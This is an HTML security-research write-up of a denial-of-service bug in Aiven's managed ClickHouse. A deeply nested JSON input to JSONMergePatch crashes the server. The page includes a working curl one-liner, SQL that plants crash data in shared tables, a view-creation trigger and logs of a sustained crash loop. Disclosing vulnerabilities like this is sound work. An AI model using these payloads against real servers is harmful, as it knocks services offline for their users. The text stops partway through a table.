| 1 | <!doctype html> |
| 2 | <html lang="en"><head><meta charset="utf-8"> |
| 3 | <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| 4 | <title>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan</title> |
| 5 | <meta name="description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables."> |
| 6 | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> |
| 7 | <style> |
| 8 | :root{ |
| 9 | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; |
| 10 | --line:#222936; --line2:#2c3543; |
| 11 | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; |
| 12 | --accent:#6cc7b8; --accent-dim:#274b47; |
| 13 | --maxw:1020px; |
| 14 | } |
| 15 | *{box-sizing:border-box;} |
| 16 | html{scroll-behavior:smooth;} |
| 17 | body{margin:0;background:var(--bg);color:var(--ink); |
| 18 | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; |
| 19 | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} |
| 20 | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} |
| 21 | a{color:var(--accent);text-decoration:none;} |
| 22 | a:hover{color:#8fe0d2;} |
| 23 | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} |
| 24 | |
| 25 | /* nav */ |
| 26 | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); |
| 27 | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} |
| 28 | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} |
| 29 | nav .brand{font-weight:600;letter-spacing:.2px;} |
| 30 | nav .brand .dot{color:var(--accent);} |
| 31 | nav .links{display:flex;gap:26px;font-size:13.5px;} |
| 32 | nav .links a{color:var(--muted);} |
| 33 | nav .links a:hover{color:var(--ink);} |
| 34 | @media(max-width:680px){nav .links{display:none;}} |
| 35 | |
| 36 | /* hero */ |
| 37 | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); |
| 38 | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} |
| 39 | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); |
| 40 | display:flex;align-items:center;gap:9px;margin-bottom:20px;} |
| 41 | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); |
| 42 | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} |
| 43 | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} |
| 44 | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} |
| 45 | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} |
| 46 | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} |
| 47 | .hero .lede b{color:var(--ink);font-weight:600;} |
| 48 | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} |
| 49 | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; |
| 50 | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} |
| 51 | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} |
| 52 | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} |
| 53 | .btn.primary:hover{background:#8fe0d2;color:#06231f;} |
| 54 | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} |
| 55 | .meta .mono{color:var(--faint);} |
| 56 | |
| 57 | /* sections */ |
| 58 | section{padding:64px 0;border-bottom:1px solid var(--line);} |
| 59 | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} |
| 60 | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} |
| 61 | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} |
| 62 | .shead .rule{flex:1;height:1px;background:var(--line);} |
| 63 | |
| 64 | /* flagship */ |
| 65 | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); |
| 66 | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} |
| 67 | .flag .top{padding:30px 32px 8px;} |
| 68 | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} |
| 69 | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} |
| 70 | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} |
| 71 | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} |
| 72 | .flag p{color:var(--soft);margin:0 0 16px;} |
| 73 | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} |
| 74 | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} |
| 75 | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} |
| 76 | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} |
| 77 | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} |
| 78 | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} |
| 79 | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} |
| 80 | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} |
| 81 | .spec li:first-child{border-top:none;} |
| 82 | .spec li span{color:var(--muted);} |
| 83 | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} |
| 84 | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} |
| 85 | |
| 86 | /* lab cards */ |
| 87 | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} |
| 88 | @media(max-width:680px){.cards{grid-template-columns:1fr;}} |
| 89 | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); |
| 90 | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} |
| 91 | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} |
| 92 | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} |
| 93 | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} |
| 94 | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} |
| 95 | .card h3{margin:0 0 9px;font-size:17px;} |
| 96 | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} |
| 97 | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} |
| 98 | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); |
| 99 | border-radius:5px;padding:3px 8px;} |
| 100 | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} |
| 101 | .card .lnk::after{content:" →";} |
| 102 | |
| 103 | /* research */ |
| 104 | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} |
| 105 | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} |
| 106 | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; |
| 107 | padding:18px 22px;border-top:1px solid var(--line);} |
| 108 | .ritem:first-child{border-top:none;} |
| 109 | .ritem:hover{background:var(--panel);} |
| 110 | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} |
| 111 | .ritem h3{margin:0 0 3px;font-size:16px;} |
| 112 | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} |
| 113 | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} |
| 114 | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} |
| 115 | .progs{margin-top:22px;} |
| 116 | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} |
| 117 | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} |
| 118 | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); |
| 119 | border-radius:6px;padding:4px 10px;} |
| 120 | |
| 121 | /* credentials */ |
| 122 | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} |
| 123 | @media(max-width:680px){.cred{grid-template-columns:1fr;}} |
| 124 | .cred p{color:var(--soft);margin:0 0 14px;} |
| 125 | .cred .role{font-size:14px;color:var(--muted);} |
| 126 | .cred .role b{color:var(--ink);font-weight:600;} |
| 127 | .certs{list-style:none;margin:0;padding:0;} |
| 128 | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); |
| 129 | display:flex;gap:10px;align-items:baseline;} |
| 130 | .certs li:first-child{border-top:none;} |
| 131 | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} |
| 132 | |
| 133 | footer{padding:46px 0 64px;} |
| 134 | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} |
| 135 | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} |
| 136 | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} |
| 137 | |
| 138 | .detail-hero{padding:40px 0 26px;} |
| 139 | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} |
| 140 | .back:hover{color:var(--ink);} |
| 141 | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} |
| 142 | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} |
| 143 | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} |
| 144 | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} |
| 145 | .content{padding:8px 0 0;max-width:840px;} |
| 146 | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} |
| 147 | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} |
| 148 | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} |
| 149 | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} |
| 150 | .content p{color:var(--soft);margin:0 0 15px;} |
| 151 | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} |
| 152 | .content li{margin:5px 0;} |
| 153 | .content strong{color:var(--ink);font-weight:600;} |
| 154 | .content a{color:var(--accent);} |
| 155 | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} |
| 156 | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} |
| 157 | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} |
| 158 | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} |
| 159 | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} |
| 160 | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} |
| 161 | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} |
| 162 | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} |
| 163 | /* notebook index */ |
| 164 | .nbgroup{margin:40px 0 0;} |
| 165 | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} |
| 166 | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} |
| 167 | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} |
| 168 | .nbtable tr{border-top:1px solid var(--line);} |
| 169 | .nbtable tr:first-child{border-top:none;} |
| 170 | .nbtable tr:hover{background:var(--panel);} |
| 171 | .nbtable td{padding:14px 16px;vertical-align:top;} |
| 172 | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} |
| 173 | .nbtable .ti a{font-weight:600;color:var(--ink);} |
| 174 | .nbtable .ti a:hover{color:var(--accent);} |
| 175 | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} |
| 176 | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} |
| 177 | </style> |
| 178 | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/"> |
| 179 | <meta name="author" content="Zion Boggan"> |
| 180 | <meta name="robots" content="index, follow, max-image-preview:large"> |
| 181 | <meta property="og:type" content="article"> |
| 182 | <meta property="og:site_name" content="Zion Boggan"> |
| 183 | <meta property="og:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan"> |
| 184 | <meta property="og:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables."> |
| 185 | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/"> |
| 186 | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> |
| 187 | <meta name="twitter:card" content="summary_large_image"> |
| 188 | <meta name="twitter:title" content="Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query | Zion Boggan"> |
| 189 | <meta name="twitter:description" content="Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables."> |
| 190 | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> |
| 191 | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query","description":"Single `SELECT JSONMergePatch(...)` SIGSEGVs the managed instance. Crash payload is storable in shared tables.","url":"https://zionboggan.com/security-research-notebook/aiven-clickhouse-jsonmergepatch-stack-overflow/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> |
| 192 | </head><body> |
| 193 | <nav><div class="wrap"> |
| 194 | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> |
| 195 | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> |
| 196 | </div></nav> |
| 197 | <header class="hero detail-hero"><div class="wrap"> |
| 198 | <a class="back" href="/security-research-notebook/">← Research notebook</a> |
| 199 | <div class="kicker">DoS / stack overflow</div> |
| 200 | <h1>Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query</h1> |
| 201 | </div></header> |
| 202 | <section><div class="wrap"><div class="content"> |
| 203 | <h2>Summary</h2> |
| 204 | <p>Aiven’s managed ClickHouse service (Tier 1) is vulnerable to an authenticated denial-of-service attack that crashes the server process (SIGSEGV) via a single SELECT query. <strong>Any authenticated user, including users with only SELECT privileges</strong>, can execute <code>SELECT JSONMergePatch(...)</code> with two deeply nested JSON documents, causing an unbounded stack recursion in the <code>merge_objects</code> function (<code>jsonMergePatch.cpp:70-91</code>) that exceeds the thread stack size and kills the server process.</p> |
| 205 | <p>The attack requires no special permissions, no configuration changes, and no prior setup, just one HTTP request. Each crash causes <strong>8-23 seconds of downtime</strong> while Aiven’s orchestration restarts the ClickHouse process. A scripted attacker re-crashing on recovery achieves <strong>100% effective downtime</strong>.</p> |
| 206 | <p>The crash payload can also be stored in MergeTree table columns as persistent data. A user with INSERT privileges can plant poison data in a shared table they didn’t create. <strong>Any future user</strong> running a query that applies <code>JSONMergePatch</code> to that data crashes the server, the attacker doesn’t need to be present.</p> |
| 207 | <h2>Affected Target</h2> |
| 208 | <ul> |
| 209 | <li><strong>Service:</strong> Aiven for ClickHouse (Tier 1)</li> |
| 210 | <li><strong>Version tested:</strong> ClickHouse 25.3.14.1</li> |
| 211 | <li><strong>Instance:</strong> <code>[REDACTED].<host>:26161</code></li> |
| 212 | </ul> |
| 213 | <h2>Severity</h2> |
| 214 | <p><strong>P1, Critical Impact and/or Easy Difficulty</strong></p> |
| 215 | <p><strong>VRT:</strong> Application-Level Denial-of-Service (DoS) > Critical Impact and/or Easy Difficulty</p> |
| 216 | <p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H</code>, <strong>Score: 7.7 (High)</strong></p> |
| 217 | <ul> |
| 218 | <li><strong>AV:N</strong>, Network-exploitable over HTTPS</li> |
| 219 | <li><strong>AC:L</strong>, Single query, no race, no preconditions</li> |
| 220 | <li><strong>PR:L</strong>, Any authenticated user, including SELECT-only (demonstrated with a restricted user with zero admin privileges)</li> |
| 221 | <li><strong>UI:N</strong>, No user interaction required</li> |
| 222 | <li><strong>S:C</strong>, Scope changed: attacker’s session crashes the entire managed instance, disconnecting all clients. Stored poison data causes a <em>different</em> user’s innocent query to crash the server (demonstrated: <code>writer</code> plants data → <code>analyst</code> query crashes server).</li> |
| 223 | </ul> |
| 224 | <p><strong>Impact summary:</strong> |
| 225 | - Single SELECT query crashes the entire managed ClickHouse instance (SIGSEGV) |
| 226 | - <strong>Sustained crash loop: 6 crashes in 93 seconds, 100% effective downtime</strong>, server never stays up long enough to serve real queries |
| 227 | - Any authenticated user, <strong>including SELECT-only users with no admin privileges</strong> (demonstrated) |
| 228 | - Repeatable indefinitely |
| 229 | - Crash payload can be stored in shared table columns, a different user querying that data triggers the crash (demonstrated) |
| 230 | - Attacker can hide poison in existing shared tables they have INSERT access to (demonstrated with <code>shared_analytics</code>) |
| 231 | - CREATE VIEW with the payload also crashes during type inference evaluation</p> |
| 232 | <h2>Steps to Reproduce</h2> |
| 233 | <h3>Prerequisites</h3> |
| 234 | <ul> |
| 235 | <li>An Aiven for ClickHouse instance (any plan)</li> |
| 236 | <li>Authentication credentials (any user with SELECT privilege)</li> |
| 237 | <li><code>curl</code> (no other tools needed)</li> |
| 238 | </ul> |
| 239 | <h3>One-line crash</h3> |
| 240 | <pre><code class="language-bash">curl -s "https://<user>:<password>@<host>:26161/" \ |
| 241 | --data "SELECT JSONMergePatch(concat(repeat('{\"a\":', 25000), '1', repeat('}', 25000)), concat(repeat('{\"a\":', 25000), '2', repeat('}', 25000))) FORMAT Null" |
| 242 | </code></pre> |
| 243 | <h3>Observe</h3> |
| 244 | <p>The connection is immediately reset (server process died). The server is unreachable for 8-23 seconds while Aiven restarts the ClickHouse process. After restart, <code>SELECT uptime()</code> shows a small value confirming the process was restarted.</p> |
| 245 | <h3>Crash depth threshold</h3> |
| 246 | <pre><code>Depth 1000: OK (no crash) |
| 247 | Depth 5000: OK (no crash) |
| 248 | Depth 10000: OK (no crash) |
| 249 | Depth 20000: OK (no crash) |
| 250 | Depth 25000: *** CRASH (connection lost) *** |
| 251 | Depth 50000: *** CRASH (connection lost) *** |
| 252 | </code></pre> |
| 253 | <h2>Full Exploit Chain</h2> |
| 254 | <h3>Chain 1: Direct crash, any user, one request</h3> |
| 255 | <p>Single query, immediate server death. Demonstrated with a <code>analyst</code> user that has <strong>only SELECT privileges</strong>:</p> |
| 256 | <pre><code>curl (as analyst) → SELECT JSONMergePatch(deep_json_1, deep_json_2) → SIGSEGV → server down |
| 257 | </code></pre> |
| 258 | <p>Actual output:</p> |
| 259 | <pre><code>$ # Analyst user has SELECT-only privileges: |
| 260 | $ SHOW GRANTS FOR analyst |
| 261 | GRANT SELECT ON default.* TO analyst |
| 262 | |
| 263 | $ curl "https://analyst:<password>@<host>:26161/" \ |
| 264 | --data "SELECT JSONMergePatch(...) FORMAT Null" |
| 265 | curl: (28) Operation timed out ← server process died |
| 266 | |
| 267 | $ # After restart: |
| 268 | $ curl "https://.../" --data "SELECT uptime()" |
| 269 | 31 ← server restarted |
| 270 | </code></pre> |
| 271 | <h3>Chain 2: Persistent poison via table data, attacker inserts, victim crashes</h3> |
| 272 | <p>Store the crash payload in a MergeTree table. Any future query applying <code>JSONMergePatch</code> to the stored data crashes the server, <strong>even from a different user session</strong>.</p> |
| 273 | <pre><code class="language-sql">-- Attacker stores deeply nested JSON |
| 274 | CREATE TABLE config_store (id UInt32, config String) ENGINE = MergeTree ORDER BY id; |
| 275 | INSERT INTO config_store VALUES (1, concat(repeat('{"a":', 25000), '1', repeat('}', 25000))); |
| 276 | |
| 277 | -- Data persists in MergeTree (survives restart) |
| 278 | -- A DIFFERENT user (analyst, SELECT-only) queries the data: |
| 279 | SELECT JSONMergePatch(config, config) FROM config_store WHERE id=1; |
| 280 | -- ↑ SIGSEGV - server crashes, triggered by the VICTIM's query, not the attacker |
| 281 | </code></pre> |
| 282 | <p>Actual output (cross-user test):</p> |
| 283 | <pre><code>=== Uptime before: 1250 === |
| 284 | |
| 285 | === Analyst (SELECT-only) reads stored poison === |
| 286 | curl exit code: 56 (SSL connection reset - server died) |
| 287 | |
| 288 | === After restart === |
| 289 | Uptime: 8 ← server restarted |
| 290 | Poison data persists: 1 row(s) ← data survived restart |
| 291 | </code></pre> |
| 292 | <h3>Chain 3: Poison hidden in shared table, attacker has INSERT, victim has SELECT</h3> |
| 293 | <p>A user with INSERT access plants poison data in an <strong>existing shared table they didn’t create</strong>. An innocent analyst running a routine query on that table crashes the server.</p> |
| 294 | <pre><code class="language-sql">-- Shared analytics table (pre-existing, not created by attacker): |
| 295 | -- CREATE TABLE shared_analytics (event_date Date, user_id UInt64, |
| 296 | -- event_type String, metadata String) |
| 297 | |
| 298 | -- Writer (INSERT+SELECT only) injects poison into metadata column: |
| 299 | INSERT INTO shared_analytics (user_id, event_type, metadata) |
| 300 | VALUES (999, 'config_update', |
| 301 | concat(repeat('{"a":', 25000), '"deep"', repeat('}', 25000))); |
| 302 | |
| 303 | -- Later, analyst (SELECT-only) runs a routine metadata consolidation: |
| 304 | SELECT JSONMergePatch(s1.metadata, s2.metadata) |
| 305 | FROM shared_analytics s1, shared_analytics s2 |
| 306 | WHERE s1.event_type = 'config_update' AND s2.event_type = 'config_update'; |
| 307 | -- ↑ SIGSEGV - server crashes |
| 308 | </code></pre> |
| 309 | <p>Actual output:</p> |
| 310 | <pre><code>=== Writer inserts into shared_analytics (table they didn't create) === |
| 311 | user_id=999, event_type=config_update, length(metadata)=150006 ← INSERT succeeded |
| 312 | |
| 313 | === Uptime before analyst query: 52 === |
| 314 | |
| 315 | === Analyst merges metadata rows === |
| 316 | curl exit code: 56 ← server crashed |
| 317 | </code></pre> |
| 318 | <p>The attacker’s data blends in with normal <code>config_update</code> rows. The analyst’s query is a standard JSON merge pattern, nothing suspicious about it.</p> |
| 319 | <h3>Chain 4: CREATE VIEW crashes during type inference, DEMONSTRATED</h3> |
| 320 | <pre><code class="language-sql">CREATE VIEW innocent_report AS |
| 321 | SELECT JSONMergePatch(concat(repeat('{"a":', 25000), '1', repeat('}', 25000)), |
| 322 | concat(repeat('{"a":', 25000), '2', repeat('}', 25000))) AS result; |
| 323 | -- ↑ SIGSEGV during type inference - server crashes before VIEW is even stored |
| 324 | </code></pre> |
| 325 | <h3>Chain 5: Sustained crash loop, 100% denial of service</h3> |
| 326 | <p>A script that re-crashes the server immediately upon recovery achieves permanent denial of service:</p> |
| 327 | <pre><code>=== TIGHT CRASH LOOP - 6 cycles, 3s polling === |
| 328 | Start: 01:03:06 UTC |
| 329 | Crash #1: down 8s, recovered 01:03:14 UTC |
| 330 | Crash #2: down 22s, recovered 01:03:36 UTC |
| 331 | Crash #3: down 10s, recovered 01:03:46 UTC |
| 332 | Crash #4: down 21s, recovered 01:04:07 UTC |
| 333 | Crash #5: down 9s, recovered 01:04:16 UTC |
| 334 | Crash #6: down 23s, recovered 01:04:39 UTC |
| 335 | |
| 336 | Total time: 93s | Downtime: 93s | Downtime ratio: 100% |
| 337 | </code></pre> |
| 338 | <p>The server is available for 0% of the attack duration. All connected clients are disconnected on every crash. All in-flight queries are aborted.</p> |
| 339 | <h2>Crash-Triggering Paths (Verified)</h2> |
| 340 | <table> |
| 341 | <thead> |
| 342 | <tr> |
| 343 | <th>Trigger</th> |
| 344 | <th>Crashes?</th> |
| 345 | <th>Notes</th> |
| 346 | </tr> |
| 347 | </thead> |
| 348 | <tbody> |
| 349 | <tr> |
| 350 | <td><code>SELECT JSONMergePatch(deep, deep)</code> as admin</td> |
| 351 | <td><strong>YES</strong></td> |
| 352 | <td>Direct query, one HTTP request</td> |
| 353 | </tr> |
| 354 | <tr> |
| 355 | <td><code>SELECT JSONMergePatch(deep, deep)</code> as SELECT-only user</td> |
| 356 | <td><strong>YES</strong></td> |
| 357 | <td>No admin privileges needed</td> |
| 358 | </tr> |
| 359 | <tr> |
| 360 | <td><code>SELECT JSONMergePatch(config, config) FROM table</code> by different user</td> |
| 361 | <td><strong>YES</strong></td> |
| 362 | <td>Cross-user stored data trigger</td> |
| 363 | </tr> |
| 364 | <tr> |
| 365 | <td>Poison in shared table → analyst query</td> |
| 366 | <td><strong>YES</strong></td> |
| 367 | <td>Writer plants, analyst crashes server</td> |
| 368 | </tr> |
| 369 | <tr> |
| 370 | <td><code>CREATE VIEW ... AS SELECT JSONMergePatch(deep, deep)</code></td> |
| 371 | <td><strong>YES</strong></td> |
| 372 | <td>Type inference evaluation</td> |
| 373 | </tr> |
| 374 | <tr> |
| 375 | <td>Sustained crash loop (6 cycles)</td> |
| 376 | <td><strong>100% downtime</strong></td> |
| 377 | <td>Server never available during attack</td> |
| 378 | </tr> |
| 379 | <tr> |
| 380 | <td>Depth 25,000</td> |
| 381 | <td><strong>YES</strong></td> |
| 382 | <td>Minimum crash threshold</td> |
| 383 | </tr> |
| 384 | <tr> |
| 385 | <td>Depth 20,000</td> |
| 386 | <td>No</td> |
| 387 | <td>Below stack limit</td> |
| 388 | </tr> |
| 389 | </tbody> |
| 390 | </table> |
| 391 | <h2>Root Cause Analysis</h2> |
| 392 | <p><strong>File:</strong> <code>src/Functions/jsonMergePatch.cpp</code>, lines 70-91</p> |
| 393 | <p>The <code>merge_objects</code> recursive lambda performs recursive descent on two JSON document trees to merge them:</p> |
| 394 | <pre><code class="language-cpp">auto merge_objects = [&](auto && self, auto && lhs, const auto & rhs) -> void |
| 395 | { |
| 396 | for (auto it = rhs.MemberBegin(); it != rhs.MemberEnd(); ++it) |
| 397 | { |
| 398 | auto lhs_it = lhs.FindMember(it->name); |
| 399 | if (lhs_it != lhs.MemberEnd()) |
| 400 | { |
| 401 | if (lhs_it->value.IsObject() && it->value.IsObject()) |
| 402 | self(self, lhs_it->value, it->value); // ← UNBOUNDED RECURSION |
| 403 | // ... |
| 404 | } |
| 405 | // ... |
| 406 | } |
| 407 | }; |
| 408 | </code></pre> |
| 409 | <p><strong>The bug:</strong> |
| 410 | 1. RapidJSON is configured with <code>kParseIterativeFlag</code> (line 14), so it parses arbitrarily deep JSON documents <strong>iteratively</strong> without stack overflow, the parsing is safe. |
| 411 | 2. However, the subsequent <code>merge_objects</code> call recurses to the full depth of the documents with <strong>no depth limit and no <code>checkStackSize()</code> call</strong>. |
| 412 | 3. At depth 25,000+, the recursive call stack (~200 bytes per frame) exceeds the thread stack size (~8MB), causing SIGSEGV.</p> |
| 413 | <p><strong>Why ClickHouse’s existing protections don’t apply:</strong> |
| 414 | - <code>max_parser_depth</code> (default 1000) limits the SQL parser, not JSON parsing |
| 415 | - <code>checkStackSize()</code> is used throughout the query pipeline but was never added to <code>merge_objects</code> |
| 416 | - RapidJSON’s iterative parser correctly handles deep documents, but the merge function does not |
| 417 | - No setting exists to limit JSON document depth for this function</p> |
| 418 | <h2>Evidence of Repeated Crashes</h2> |
| 419 | <table> |
| 420 | <thead> |
| 421 | <tr> |
| 422 | <th>Crash #</th> |
| 423 | <th>Trigger</th> |
| 424 | <th>User</th> |
| 425 | <th>Uptime After</th> |
| 426 | </tr> |
| 427 | </thead> |
| 428 | <tbody> |
| 429 | <tr> |
| 430 | <td>1</td> |
| 431 | <td><code>SELECT</code> depth 50,000</td> |
| 432 | <td>avnadmin</td> |
| 433 | <td>19s</td> |
| 434 | </tr> |
| 435 | <tr> |
| 436 | <td>2</td> |
| 437 | <td><code>SELECT</code> depth 25,000</td> |
| 438 | <td>avnadmin</td> |
| 439 | <td>29s</td> |
| 440 | </tr> |
| 441 | <tr> |
| 442 | <td>3</td> |
